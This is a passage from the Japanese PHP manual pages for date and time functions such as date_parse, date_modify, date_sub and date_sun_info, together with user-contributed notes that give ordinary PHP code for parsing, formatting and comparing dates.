           case "s":
               $total = ((($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h) * 60 + $diff->i)*60 + $diff->s;
               break;
          }
       if( $diff->invert)
               return -1 * $total;
       else    return $total;
   }

/* Enjoy and feedback me ;-) */
?>
Flavio Tubino 26-May-2010 05:37
This is a very simple function to calculate the difference between two datetime values, returning the result in seconds. To convert to minutes, just divide the result by 60. In hours, by 3600 and so on.

Enjoy.

<?php
function time_diff($dt1,$dt2){
    $y1 = substr($dt1,0,4);
    $m1 = substr($dt1,5,2);
    $d1 = substr($dt1,8,2);
    $h1 = substr($dt1,11,2);
    $i1 = substr($dt1,14,2);
    $s1 = substr($dt1,17,2);

    $y2 = substr($dt2,0,4);
    $m2 = substr($dt2,5,2);
    $d2 = substr($dt2,8,2);
    $h2 = substr($dt2,11,2);
    $i2 = substr($dt2,14,2);
    $s2 = substr($dt2,17,2);

    $r1=date('U',mktime($h1,$i1,$s1,$m1,$d1,$y1));
    $r2=date('U',mktime($h2,$i2,$s2,$m2,$d2,$y2));
    return ($r1-$r2);

}
?>
tom at knapp2meter dot tk 16-Apr-2009 08:06
A simple way to get the time lag (format: <hours>.<one-hundredth of one hour>).

Hier ein einfacher Weg zur Bestimmung der Zeitdifferenz (Format: <Stunden>.<hundertstel Stunde>).

<?php

function GetDeltaTime($dtTime1, $dtTime2)
{
  $nUXDate1 = strtotime($dtTime1->format("Y-m-d H:i:s"));
  $nUXDate2 = strtotime($dtTime2->format("Y-m-d H:i:s"));

  $nUXDelta = $nUXDate1 - $nUXDate2;
  $strDeltaTime = "" . $nUXDelta/60/60; // sec -> hour

  $nPos = strpos($strDeltaTime, ".");
  if (nPos !== false)
    $strDeltaTime = substr($strDeltaTime, 0, $nPos + 3);

  return $strDeltaTime;
}

?>


DateTime::format のエイリアス

  • ≪ date_diff
  • date_get_last_errors ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::format のエイリアス

date_format

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_format — DateTime::format() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::format()

User Contributed Notes

Andrew Gregory 22-Jul-2009 03:52
Requirements: PHP5+

To expand on Matt Walsh's example, a simple way to get eBay, or Amazon, web service timestamps is as follows:

<?php

$current_time = urlEncode(subStr(date("c"), 0, 19)."Z");

?>

In other words, take the date/time of now (in ISO 8601 format), discard the trailing Daylight Savings Time specifier, add a "Z" where the DST was and urlEncode the whole thing to convert the time's colons for REST requests (required for amazon, not sure about eBay).

Another way might be to create your own timestamp:

<?php

$current_time = urlEncode(date("Y-m-d")."T".date("H:i:s")."Z");

?>

This way however takes a little more coding on the line.

As far as performance goes, I'm not sure which may be quicker. I just like things to work and work well, don't much care for how fast they are as long as they get the job done :)

A much simpler way to get the eBay, or Amazon, web service timestamp is as follows:

<?php

$current_date = gmDate("Y-m-d\TH:i:s\Z");

?>

Enjoy!
Mike C 07-Jul-2008 10:23
If you are studying date_format because you want to format a date, consider the power of date(..) !!!!

the mktime article has an example of adding days to a date of your choice and then formatting it:
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997))
where the 32 is like adding 1 day to the 31st .
Matt Walsh 04-May-2007 10:43
The ISO8601 output format doesn't jive with (at least) what eBay expects in its SOAP transactions.  eBay wants a UTC time with a 'Z' suffix.   That is, eBay (and I'm guessing other web services) will accept "2007-05-04T17:01:17Z" but not "2007-05-04T17:01:17+0000".  As it is, the built-in DateTime::ISO8601 format uses the +0000 timezone specifier even when in a UTC timezone.

As a workaround, I do this:

<?php
   function get_ebay_UTC_8601(DateTime $time)
   {  $t = clone $time;
      $t->setTimezone(new DateTimeZone("UTC"));
      return $t->format("Y-m-d\TH:i:s\Z");
   }
?>


DateTime::getLastErrors のエイリアス

  • ≪ date_format
  • date_interval_create_from_date_string ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::getLastErrors のエイリアス

date_get_last_errors

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_get_last_errors — DateTime::getLastErrors() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::getLastErrors()

User Contributed Notes

There are no user contributed notes for this page.


DateInterval::createFromDateString のエイリアス

  • ≪ date_get_last_errors
  • date_interval_format ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateInterval::createFromDateString のエイリアス

date_interval_create_from_date_string

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_interval_create_from_date_string — DateInterval::createFromDateString() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateInterval::createFromDateString()

User Contributed Notes

There are no user contributed notes for this page.


DateInterval::format のエイリアス

  • ≪ date_interval_create_from_date_string
  • date_isodate_set ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateInterval::format のエイリアス

date_interval_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_interval_format — DateInterval::format() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateInterval::format()

User Contributed Notes

There are no user contributed notes for this page.


DateTime::setISODate のエイリアス

  • ≪ date_interval_format
  • date_modify ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::setISODate のエイリアス

date_isodate_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_isodate_set — DateTime::setISODate() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::setISODate()

User Contributed Notes

There are no user contributed notes for this page.


DateTime::modify のエイリアス

  • ≪ date_isodate_set
  • date_offset_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::modify のエイリアス

date_modify

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_modify — DateTime::modify() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::modify()

User Contributed Notes

ochojnackiATEMEgmail.com 14-Aug-2008 05:49
$cday - specified day of the week (0-6 where 0 is Sunday)
$currentDate - date of start
$endDate - date of end

We need dates of next couple of days, that day of week  match defined.

<?php

            if($currentDate->format('w')!= $cday){
            switch ($cday){
            case 0 : $cdays="Sunday"; break;
            case 1 : $cdays="Monday"; break;
            case 2 : $cdays="Tuesday"; break;
            case 3 : $cdays="Wednesday"; break;
            case 4 : $cdays="Thursday"; break;
            case 5 : $cdays="Friday"; break;
            case 6 : $cdays="Saturday";
            }
            date_modify($currentDate,"+1 {$cdays}");
            }

            while($currentDate < $endDate) {
              echo $currentDate -> format('Y-m-d H:i:s');
              $currentDate      -> modify('+1 week');
            }

?>
matthijs at yourmediafactory dot com 08-Dec-2007 04:38
I have trouble finding the documentation for the dateTime object, but this seems to work:

<?php
$currentDate = new DateTime('2008-01-04');
$endDate     = new DateTime('2009-01-04');

while($currentDate < $endDate) {
  echo $currentDate -> format('Y-m-d') . ' till ';
  $currentDate      -> modify('+1 week');
  echo $currentDate -> format('Y-m-d') . ' <br />';
}
?>

This will (obviously) print a list of date-ranges between startdate and enddate.
someone 14-Sep-2007 11:46
I decided to enhance the DateTime object by taking advantage of method chaining.

<?php

class DateTimeChain extends DateTime {

    public function modify ($modify) {
        parent::modify($modify);
        return $this;
    }

    public function setDate ($year, $month, $day) {
        parent::setDate($year, $month, $day);
        return $this;
    }

    public function setISODate ($year, $week, $day = null) {
        parent:: setISODate($year, $week, $day);
        return $this;
    }

    public function setTime ($hour, $minute, $second = null) {
        parent::setTime($hour, $minute, $second);
        return $this;
    }

    public function setTimezone ($timezone) {
        parent::setTimezone($timezone);
        return $this;
    }

}

$t = new DateTimeZone('America/Los_Angeles');
$d = new DateTimeChain();
var_dump($d->setTimezone($t)->modify('5years')->format(DATE_RFC822));

?>


DateTime::getOffset のエイリアス

  • ≪ date_modify
  • date_parse_from_format ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::getOffset のエイリアス

date_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_offset_get — DateTime::getOffset() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::getOffset()

User Contributed Notes

Kae Cyphet 11-Oct-2010 02:43
The following gets the timezone of the server including daylight savings time changes.

<?php
$seconds = date_offset_get(new DateTime);
print $seconds / 3600;
// returns pos/neg decimal (eg. -7 if in PST and DST is active.)
// remember there are time zones with 30 and 45 min offsets
// http://en.wikipedia.org/wiki/Time_zone
?>


指定した書式でフォーマットされた日付についての情報を取得する

  • ≪ date_offset_get
  • date_parse ≫
  • PHP Manual
  • 日付・時刻 関数
  • 指定した書式でフォーマットされた日付についての情報を取得する

date_parse_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_parse_from_format — 指定した書式でフォーマットされた日付についての情報を取得する

説明

date_parse_from_format ( string $format , string $datetime ) : array

指定した日付/時刻についての詳細情報を連想配列で返します。

パラメータ

format

DateTime::createFromFormat() が理解できるフォーマット。

datetime

日付/時刻をあらわす文字列。

返り値

指定した日付/時刻についての詳細情報を連想配列で返します。

変更履歴

バージョン | 説明
7.2.0 | 返される配列の zone 要素が、 分ではなく秒を表すようになり、 符号が逆になりました。 たとえば、 -120 は 7200 を表すようになります。

例

例1 date_parse_from_format() の例

<?php
$date = "6.1.2009 13:00+01:00";
print_r(date_parse_from_format("j.n.Y H:iP", $date));
?>

上の例の出力は以下となります。

Array
(
    [year] => 2009
    [month] => 1
    [day] => 6
    [hour] => 13
    [minute] => 0
    [second] => 0
    [fraction] =>
    [warning_count] => 0
    [warnings] => Array
        (
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] => 1
    [zone_type] => 1
    [zone] => 3600
    [is_dst] =>
)

参考

  • DateTime::createFromFormat() - 指定した書式で時刻文字列をパースする
  • checkdate() - グレゴリオ暦の日付/時刻の妥当性を確認します

User Contributed Notes

gilles dot migliori at gmail dot com 15-Oct-2018 08:48
$date = "10 October 2018 19:30 pm";
print_r (date_parse_from_format("j F Y G:i a", $date));

Output:

Array (
    [year]          => 2018
    [month]         => 10
    [day]           => 10
    [hour]          => 31
    [minute]        => 30
    [second]        => 0
    [fraction]      =>
    [warning_count] => 1
    [warnings]      => Array (
                        [24] => The parsed time was invalid
                    )
    [error_count]   => 0
    [errors]        => Array ( )
    [is_localtime]  =>
)

19:30 pm is invalid, 24-hour format of an hour can't be used with am/pm

must be replaced with:

$date = "10 October 2018 19:30";
print_r (date_parse_from_format("j F Y G:i", $date));

or:

$date = "10 October 2018 7:30 pm";
print_r (date_parse_from_format("j F Y g:i a", $date));
Archetrix 08-Sep-2014 08:18
For use in Versions prior V5.3:

<?php
if (!function_exists('date_parse_from_format')) {

    function date_parse_from_format($format, $date) {
        // reverse engineer date formats
        $keys = array(
            'Y' => array('year', '\d{4}'),
            'y' => array('year', '\d{2}'),
            'm' => array('month', '\d{2}'),
            'n' => array('month', '\d{1,2}'),
            'M' => array('month', '[A-Z][a-z]{3}'),
            'F' => array('month', '[A-Z][a-z]{2,8}'),
            'd' => array('day', '\d{2}'),
            'j' => array('day', '\d{1,2}'),
            'D' => array('day', '[A-Z][a-z]{2}'),
            'l' => array('day', '[A-Z][a-z]{6,9}'),
            'u' => array('hour', '\d{1,6}'),
            'h' => array('hour', '\d{2}'),
            'H' => array('hour', '\d{2}'),
            'g' => array('hour', '\d{1,2}'),
            'G' => array('hour', '\d{1,2}'),
            'i' => array('minute', '\d{2}'),
            's' => array('second', '\d{2}')
        );

        // convert format string to regex
        $regex = '';
        $chars = str_split($format);
        foreach ($chars AS $n => $char) {
            $lastChar = isset($chars[$n - 1]) ? $chars[$n - 1] : '';
            $skipCurrent = '\\' == $lastChar;
            if (!$skipCurrent && isset($keys[$char])) {
                $regex .= '(?P<' . $keys[$char][0] . '>' . $keys[$char][1] . ')';
            } else if ('\\' == $char) {
                $regex .= $char;
            } else {
                $regex .= preg_quote($char);
            }
        }

        $dt = array();
        $dt['error_count'] = 0;
        // now try to match it
        if (preg_match('#^' . $regex . '$#', $date, $dt)) {
            foreach ($dt AS $k => $v) {
                if (is_int($k)) {
                    unset($dt[$k]);
                }
            }
            if (!checkdate($dt['month'], $dt['day'], $dt['year'])) {
                $dt['error_count'] = 1;
            }
        } else {
            $dt['error_count'] = 1;
        }
        $dt['errors'] = array();
        $dt['fraction'] = '';
        $dt['warning_count'] = 0;
        $dt['warnings'] = array();
        $dt['is_localtime'] = 0;
        $dt['zone_type'] = 0;
        $dt['zone'] = 0;
        $dt['is_dst'] = '';
        return $dt;
    }

}
?>

Not my invention though. I found it here: http://stackoverflow.com/questions/6668223/php-date-parse-from-format-alternative-in-php-5-2

Thought this might be a good place to keep a copy in case someone stumbles upon the same problem facing outdated PHP versions on customer servers ....


指定した日付/時刻の詳細な情報を連想配列で返す

  • ≪ date_parse_from_format
  • date_sub ≫
  • PHP Manual
  • 日付・時刻 関数
  • 指定した日付/時刻の詳細な情報を連想配列で返す

date_parse

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_parse — 指定した日付/時刻の詳細な情報を連想配列で返す

説明

date_parse ( string $datetime ) : array

パラメータ

datetime

DateTimeImmutable::__construct() が理解できる書式の日付/時刻。

返り値

成功した場合に日付/時刻情報を含む配列、失敗した場合に false を返します。

エラー / 例外

日付/時刻フォーマットにエラーがある場合は、 'errors' 要素にエラーメッセージが格納されます。

変更履歴

バージョン | 説明
7.2.0 | 返される配列の zone 要素が、 分ではなく秒を表すようになり、 符号が逆になりました。 たとえば、 -120 は 7200 を表すようになります。

例

例1 date_parse() の例

<?php
print_r(date_parse("2006-12-12 10:00:00.5"));
?>

上の例の出力は以下となります。

Array
(
    [year] => 2006
    [month] => 12
    [day] => 12
    [hour] => 10
    [minute] => 0
    [second] => 0
    [fraction] => 0.5
    [warning_count] => 0
    [warnings] => Array()
    [error_count] => 0
    [errors] => Array()
    [is_localtime] =>
)

相対的な書式 は 絶対的な書式のパース結果に影響を及ぼさず、別途 "relative" 要素にまとめられます。

例2 date_parse() での相対的な書式の使用例

<?php
print_r(date_parse("2006-12-12 10:00:00.5 +1 week +1 hour"));
?>

上の例の出力は以下となります。

Array
(
    [year] => 2006
    [month] => 12
    [day] => 12
    [hour] => 10
    [minute] => 0
    [second] => 0
    [fraction] => 0.5
    [warning_count] => 0
    [warnings] => Array
        (
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] =>
    [relative] => Array
        (
            [year] => 0
            [month] => 0
            [day] => 7
            [hour] => 1
            [minute] => 0
            [second] => 0
        )

)

参考

  • checkdate() - グレゴリオ暦の日付/時刻の妥当性を確認します
  • getdate() - 日付/時刻情報を取得する

User Contributed Notes

y dot adounis at gmail dot com 06-Dec-2019 10:23
Developers, be aware that using "now" will return an empty array, ex :

<?php
date_parse("now");
?>

Will return :

Array
(
    [year] =>
    [month] =>
    [day] =>
    [hour] =>
    [minute] =>
    [second] =>
    [fraction] =>
    [warning_count] => 0
    [warnings] => Array
        (
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] =>
)
edg at greenberg dot org 05-Nov-2018 04:21
Passing "YYYY-MM" results in a valid date. Be careful to validate that your submitted date passed YOUR requirements.
paul at juniperwebcraft dot com 30-Mar-2017 08:48
It's sometimes useful to be able to store incomplete dates, for example when all you know of someone's birthdate is the year or the month and day.

date_parse() handles (and MySQL accepts) dates containing zero-value elements such as "2017-00-00" and "0000-03-29", leaving it up to the parent application to determine when to require and how to handle missing date elements. date_parse() correctly reports zero values for zero-value date elements, reports an 'invalid date' warning, and does not report an error.

Example 1: Year only
<?php print_r( date_parse( '2017-00-00' ) );?>
generates:
<?php
Array
(
    [year] => 2017
    [month] => 0
    [day] => 0
    [hour] =>
    [minute] =>
    [second] =>
    [fraction] =>
    [warning_count] => 1
    [warnings] => Array
        (
            [11] => The parsed date was invalid
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] =>
)
?>

Example 2: Month and day only
<?php print_r( date_parse( '0000-03-29' ) )?>
generates:
<?php
Array
(
    [year] => 0
    [month] => 3
    [day] => 29
    [hour] =>
    [minute] =>
    [second] =>
    [fraction] =>
    [warning_count] => 1
    [warnings] => Array
        (
            [11] => The parsed date was invalid
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] =>
)
?>

However, simply omitting date elements gives PHP too much discretion in second-guessing our intentions:

Example 3: Truncated date:
<?php print_r( date_parse( '2017-03' ) )?>
generates:
<?php
Array
(
    [year] => 2017
    [month] => 3
    [day] => 1
    [hour] =>
    [minute] =>
    [second] =>
    [fraction] =>
    [warning_count] => 0
    [warnings] => Array
        (
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] =>
)?>
In this case, PHP supplies a day value of 1 and does not report a warning.

Similarly, this feature of accepting zero date elements does not carry over to timestamps:

<?php $dDate = strtotime( '2017-03-00' );
print_r( getdate( $dDate ) ); ?>

displays:

<?php Array
(
    [seconds] => 0
    [minutes] => 0
    [hours] => 0
    [mday] => 28
    [wday] => 2
    [mon] => 2
    [year] => 2017
    [yday] => 58
    [weekday] => Tuesday
    [month] => February
    [0] => 1488268800
)
?>
In this case, PHP interprets the "zeroth" day of March to be the last day of February.
thisismelennart dot borgman at gmail dot com 21-Nov-2014 07:04
Here is a workaround for the "Feb 2010" problem. It also handles "2014".

http://stackoverflow.com/questions/27052374/php-date-parsefeb-2010-gives-day-1/27068409
adamm at extratech dot com 03-Jul-2012 05:24
A warning to some
<?php
$time = "00:14:38"
$parse_date = date_parse($time);
echo var_dump($parse_date) ."<br>";
//here you will get what you expect

$time = "-00:14:38"
$parse_date = date_parse($time);
echo var_dump($parse_date) ."<br>";
//here you will recieve hours minutes and seconds as booleans and as false and you will get error set to "Unexpected character"

$time = "00:-14:38"
$parse_date = date_parse($time);
echo var_dump($parse_date) ."<br>";
//here you will recieve the same as the above

$time = "00:14:-38"
$parse_date = date_parse($time);
echo var_dump($parse_date) ."<br>";
//here you will receive hours as 00 minutes as 14 and seconds as 0. The error will get set as the same as above. Meaning "Unexpected character"
?>
ryan_a_martin at yahoo dot com 02-Mar-2011 06:56
See checkdate() at http://php.net/manual/en/function.checkdate.php for Gregorian date validation.
alvaro at demogracia dot com 15-Feb-2011 03:59
Be aware that date_parse() is happy with just a time zone and it can be pretty counter-intuitive. E.g.:

<?php
var_dump( date_parse('Europe/Madrid') );
?>

... prints an array where year, month, day... are FALSE. But so do these:

<?php
var_dump( date_parse('A') );
var_dump( date_parse('B') );
var_dump( date_parse('X') );
?>

Don't forget to further validate date_parse()'s output even when it isn't FALSE and the 'errors' key is empty.
admin at torntech dot com 22-Sep-2010 08:18
A warning to others. Some keys will return with a default value where others will return as false if the date string has it omitted. Unsure if this is a bug or feature, but hopefully this will save someone some time.
<?php
///Example
$input = "Feb 2010";
$info = date_parse($input);
var_dump($info);

/*Returns:
array(12) {
    ["year"]=> int(2010)
    ["month"]=> int(2)
    ["day"]=> int(1)    //<---expected false like below
    ["hour"]=> bool(false)
    ["minute"]=> bool(false)
    ["second"]=> bool(false)
    ["fraction"]=> bool(false)
    ["warning_count"]=> int(0)
    ["warnings"]=> array(0) { }
    ["error_count"]=> int(0)
    ["errors"]=> array(0) { }
    ["is_localtime"]=> bool(false)
}*/
?>
eugene at ultimatecms dot co dot za 23-Nov-2009 02:43
<?php

$ida = '091122671325';
$idb = '091123671325';

// This function will match the identity number up to the day, but only for a maximum of 99years+364days.
// Will not work when checking persons older than 100years-1day.

function idtodate($id)
{
        $year = date("Y");
        $month = date("m");
        $day = date("d");

        $nc = substr($year, 0, 2);
        $ny = substr($year, 2, 2);

        $y = substr($id, 0, 2);
        $m = substr($id, 2, 2);
        $d = substr($id, 4, 2);

        if($y.$m.$d <= $ny.$month.$day-1) {
                $newc = $nc;
        } else {
                $newc = $nc-1;
        }

        $new = $newc.$y;

        return array('year' => $new, 'month' => $m, 'day' => $d);
}

echo 'ID: '.$ida.'<br>';
print_r(idtodate($ida));

echo '<br><br>';

echo 'ID: '.$idb.'<br>';
print_r(idtodate($idb));

?>

Output:
1. If the year-month-day is smaller than today (2009-11-23), but bigger than 1999: year => 2009
ID: 091122671325
Array ( [year] => 2009 [month] => 11 [day] => 22 )

2. If the year-month-day is the same as, or bigger than today, but smaller than 2000: year => 1909
ID: 091123671325
Array ( [year] => 1909 [month] => 11 [day] => 23 )
alan at wilcoxengineering dot com 14-Aug-2009 11:02
Caution: date_parse expects months 1..12 only.

date_parse("13/1/5769")  for  month=13, Ehul in Jewish calendar, results in  month==3 instead of month==13.

It does, however, report the error array showing "Unexpected Character."

It would be nice if date_parse could handle the months properly (just report back a "13" for the month). The older approach of substr() is my workaround.
gpayne at galenaparkisd com 29-Sep-2007 04:52
Careful - date_parse is perfectly happy with something like this:

 date_parse("2006-2-31");


DateTime::sub のエイリアス

  • ≪ date_parse
  • date_sun_info ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::sub のエイリアス

date_sub

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_sub — DateTime::sub() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::sub()

User Contributed Notes

fpradove at gmail dot com 07-Apr-2018 12:05
In version 5.6.31 the variable $ today is passed by reference in the function date_sub () and the interval is also applied

<?php
$today = date_create(date('Y-m-d'));
$yesterday = date_sub($today, date_interval_create_from_date_string("1 days"));

        echo var_dump($today);
        echo var_dump($yesterday)
?>
vitkor dot kruglikov at gmail dot com 15-Jun-2015 08:55
It can be unclear for someone how to use this function.
Here is the example:

$date=date_create("2013-03-15");
date_sub($date,date_interval_create_from_date_string("40 days"));
echo date_format($date,"Y-m-d");
Thomas LEDUC 04-Feb-2015 11:14
To glue to the OOP, it's better to use it with DateInterval::createFromDateString

<?php
$dateB = new DateTime('2020-12-20');
$dateA = $dateB->sub(DateInterval::createFromDateString('10 days'));
?>

more detail here :
<?php
public static function createFromDateString ($time) {}
?>
Jonathan Poissant 21-Jan-2011 07:26
You cannot replace date_sub('2000-01-20') by DateTime::sub('2000-01-20') because DateTime::sub is not static. You have to create the DateTime object first.

Example:

<?php $dateA = date_sub('2000-01-20', date_interval_create_from_date_string('10 days')); ?>

will be replace by
<?php
$dateB = new DateTime('2000-01-20');
$dateA = $dateB->sub(date_interval_create_from_date_string('10 days'));
?>


日の出/日の入り時刻と薄明かり (twilight) の開始/終了時刻の情報を含む配列を返す

  • ≪ date_sub
  • date_sunrise ≫
  • PHP Manual
  • 日付・時刻 関数
  • 日の出/日の入り時刻と薄明かり (twilight) の開始/終了時刻の情報を含む配列を返す

date_sun_info

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

date_sun_info — 日の出/日の入り時刻と薄明かり (twilight) の開始/終了時刻の情報を含む配列を返す

説明

date_sun_info ( int $timestamp , float $latitude , float $longitude ) : array

パラメータ

timestamp

Unixタイムスタンプ。

latitude

緯度を表す度数。

longitude

経度を表す度数。

返り値

成功した場合に配列、失敗した場合に false を返します。 配列の構造の詳細は、以下のリストのとおりです

sunrise
日の出のタイムスタンプ (天頂角 = 90°50' )
sunset
日の入りのタイムスタンプ (天頂角 = 90°35' )
transit
太陽が天頂に達するタイムスタンプ。 つまり、もっとも上部に達した時刻です。
civil_twilight_begin
夜明けの始まり(天頂角 = 96°) sunrise の時刻に終了します。
civil_twilight_end
夕暮れの終わり(天頂角 = 96°) sunset の時刻に始まります。
nautical_twilight_begin
航海上の夜明け (天頂角 = 102°) civil_twilight_begin に終了します。
nautical_twilight_end
航海上の夕暮れ (天頂角 = 102°) civil_twilight_end の時刻に始まります。
astronomical_twilight_begin
天文学上の夜明け (天頂角 = 108°) nautical_twilight_begin に終了します。
astronomical_twilight_end
天文学上の夕暮れ (天頂角 = 108°) nautical_twilight_end の時刻に始まります。

配列の要素の値は、UNIXタイムスタンプ、または 太陽が天頂より一日中下にある場合、false です。 また、一日中天頂より上にある場合、 true です。

例

例1 date_sun_info() の例

<?php
$sun_info = date_sun_info(strtotime("2006-12-12"), 31.7667, 35.2333);
foreach ($sun_info as $key => $val) {
    echo "$key: " . date("H:i:s", $val) . "\n";
}
?>

上の例の出力は以下となります。

sunrise: 05:52:11
sunset: 15:41:21
transit: 10:46:46
civil_twilight_begin: 05:24:08
civil_twilight_end: 16:09:24
nautical_twilight_begin: 04:52:25
nautical_twilight_end: 16:41:06
astronomical_twilight_begin: 04:21:32
astronomical_twilight_end: 17:12:00

例2 Polar night

<?php
var_dump(date_sun_info(strtotime("2017-12-21"), 90, 0));
?>

上の例の出力は以下となります。

array(9) {
  ["sunrise"]=>
  bool(false)
  ["sunset"]=>
  bool(false)
  ["transit"]=>
  int(1513857490)
  ["civil_twilight_begin"]=>
  bool(false)
  ["civil_twilight_end"]=>
  bool(false)
  ["nautical_twilight_begin"]=>
  bool(false)
  ["nautical_twilight_end"]=>
  bool(false)
  ["astronomical_twilight_begin"]=>
  bool(false)
  ["astronomical_twilight_end"]=>
  bool(false)
}

例3 Midnight sun

<?php
var_dump(date_sun_info(strtotime("2017-06-21"), 90, 0));
?>

上の例の出力は以下となります。

array(9) {
  ["sunrise"]=>
  bool(true)
  ["sunset"]=>
  bool(true)
  ["transit"]=>
  int(1498046510)
  ["civil_twilight_begin"]=>
  bool(true)
  ["civil_twilight_end"]=>
  bool(true)
  ["nautical_twilight_begin"]=>
  bool(true)
  ["nautical_twilight_end"]=>
  bool(true)
  ["astronomical_twilight_begin"]=>
  bool(true)
  ["astronomical_twilight_end"]=>
  bool(true)
}

参考

  • date_sunrise() - 指定した日付と場所についての日の出時刻を返す
  • date_sunset() - 指定した日付と場所についての日の入り時刻を返す

User Contributed Notes

info at mobger dot de 04-Dec-2020 09:27
The relation between timestamp and geoposition is not good defined.
My try of a definition is:

date_sun_info —
Returns an array with information about sunset/sunrise and twilight begin/end as Unix-Timestamp for the the geoposition, which must have the same (local) date as the timestamp in the parameter-block for the function `date_sun_info`.

<?php
<?php
$tStamp  = strtotime('2020-12-04');
$latitude = 50;
echo("\n");
foreach([-181,-180,0,180,360] as $longitude ) {
    foreach([-86401,-86400,-86399, -1,0,1,86399, 86400,86401] as $variTimeStamp) {

        $sunInfoList = date_sun_info(($tStamp-$variTimeStamp),$latitude, $longitude);
        $sunrise = new DateTime('@'.$sunInfoList['sunrise']);
        echo($sunInfoList['sunrise']. ' => '.$sunrise->format('H:i:s d.m.Y').' || [ '.$variTimeStamp.' // ' . $longitude.'° ]');
        echo("\n");
    }
    echo("\n");
}

?>

You may recognize the equivalence of `[ 0 // 360° ]` and `[ 86400 // 0° ]` in the results.
The result is:
<?php
/**
1607197612 => 19:46:52 05.12.2020 || [ -86401 // -181° ]
1607197612 => 19:46:52 05.12.2020 || [ -86400 // -181° ]
1607111141 => 19:45:41 04.12.2020 || [ -86399 // -181° ]
1607111141 => 19:45:41 04.12.2020 || [ -1 // -181° ]
1607111141 => 19:45:41 04.12.2020 || [ 0 // -181° ]
1607024668 => 19:44:28 03.12.2020 || [ 1 // -181° ]
1607024668 => 19:44:28 03.12.2020 || [ 86399 // -181° ]
1607024668 => 19:44:28 03.12.2020 || [ 86400 // -181° ]
1606938194 => 19:43:14 02.12.2020 || [ 86401 // -181° ]

1607197372 => 19:42:52 05.12.2020 || [ -86401 // -180° ]
1607197372 => 19:42:52 05.12.2020 || [ -86400 // -180° ]
1607110901 => 19:41:41 04.12.2020 || [ -86399 // -180° ]
1607110901 => 19:41:41 04.12.2020 || [ -1 // -180° ]
1607110901 => 19:41:41 04.12.2020 || [ 0 // -180° ]
1607024428 => 19:40:28 03.12.2020 || [ 1 // -180° ]
1607024428 => 19:40:28 03.12.2020 || [ 86399 // -180° ]
1607024428 => 19:40:28 03.12.2020 || [ 86400 // -180° ]
1606937953 => 19:39:13 02.12.2020 || [ 86401 // -180° ]

1607154137 => 07:42:17 05.12.2020 || [ -86401 // 0° ]
1607154137 => 07:42:17 05.12.2020 || [ -86400 // 0° ]
1607067665 => 07:41:05 04.12.2020 || [ -86399 // 0° ]
1607067665 => 07:41:05 04.12.2020 || [ -1 // 0° ]
1607067665 => 07:41:05 04.12.2020 || [ 0 // 0° ]
1606981191 => 07:39:51 03.12.2020 || [ 1 // 0° ]
1606981191 => 07:39:51 03.12.2020 || [ 86399 // 0° ]
1606981191 => 07:39:51 03.12.2020 || [ 86400 // 0° ]
1606894715 => 07:38:35 02.12.2020 || [ 86401 // 0° ]

1607197301 => 19:41:41 05.12.2020 || [ -86401 // 180° ]
1607197301 => 19:41:41 05.12.2020 || [ -86400 // 180° ]
1607110828 => 19:40:28 04.12.2020 || [ -86399 // 180° ]
1607110828 => 19:40:28 04.12.2020 || [ -1 // 180° ]
1607110828 => 19:40:28 04.12.2020 || [ 0 // 180° ]
1607024353 => 19:39:13 03.12.2020 || [ 1 // 180° ]
1607024353 => 19:39:13 03.12.2020 || [ 86399 // 180° ]
1607024353 => 19:39:13 03.12.2020 || [ 86400 // 180° ]
1606937877 => 19:37:57 02.12.2020 || [ 86401 // 180° ]

1607154065 => 07:41:05 05.12.2020 || [ -86401 // 360° ]
1607154065 => 07:41:05 05.12.2020 || [ -86400 // 360° ]
1607067591 => 07:39:51 04.12.2020 || [ -86399 // 360° ]
1607067591 => 07:39:51 04.12.2020 || [ -1 // 360° ]
1607067591 => 07:39:51 04.12.2020 || [ 0 // 360° ]
1606981115 => 07:38:35 03.12.2020 || [ 1 // 360° ]
1606981115 => 07:38:35 03.12.2020 || [ 86399 // 360° ]
1606981115 => 07:38:35 03.12.2020 || [ 86400 // 360° ]
1606894638 => 07:37:18 02.12.2020 || [ 86401 // 360° ]

*/
?>
nospam at nomail dot com 07-Apr-2018 06:10
maybe I am wrong, but I think

SUNFUNCS_RET_TIMESTAMP     return GMT(0) time

SUNFUNCS_RET_STRING     Return local time
SUNFUNCS_RET_DOUBLE     Return local time
ELY M. 08-Oct-2010 09:42
I have been working on my own php script to get current down or up for sun and moon.   I had to add function for any places that have 24 hour sun.

here is my code for places with 24 hour sun.

<?php
